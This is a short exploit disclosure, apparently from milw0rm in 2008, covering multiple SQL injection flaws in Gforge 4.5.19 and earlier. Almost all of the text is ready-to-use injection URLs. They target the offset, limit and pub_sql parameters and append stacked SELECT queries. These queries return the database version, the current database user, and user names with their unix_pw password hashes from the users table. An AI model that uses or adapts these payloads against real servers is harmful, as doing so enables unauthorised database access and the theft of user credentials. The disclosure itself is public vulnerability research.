Gforge <= 4.5.19 Multiple Remote SQL Injection Vulnerabilities

Gforge <= 4.5.19 Multiple Sql Injections Vendor Notified: 2008-10-06 Note: should work regardless magic_quotes_gpc setting. http://gforgesite.xxx/new/?group_id=&limit=50&offset=50;select 1 as id,CURRENT_USER as forum_id, version() as summary http://gforgesite.xxx/news/?group_id=&limit=50&offset=50;select+1+as+id,unix_pw+as+forum_id,+user_name||unix_pw+as+summary+from+users http://gforgesite.xxx/top/topusers.php?offset=0;select+1,version()+as+user_name,3,4,5; Replace 1337 with a valid group_id: http://gforgesite.xxx/frs/shownotes.php?release_id=*/+--+454&pub_sql=;select+1+as+is_public,1337+as+group_id,current_user+as+name,4+as+notes,version()+as+changes,6;/* # milw0rm.com [2008-10-09]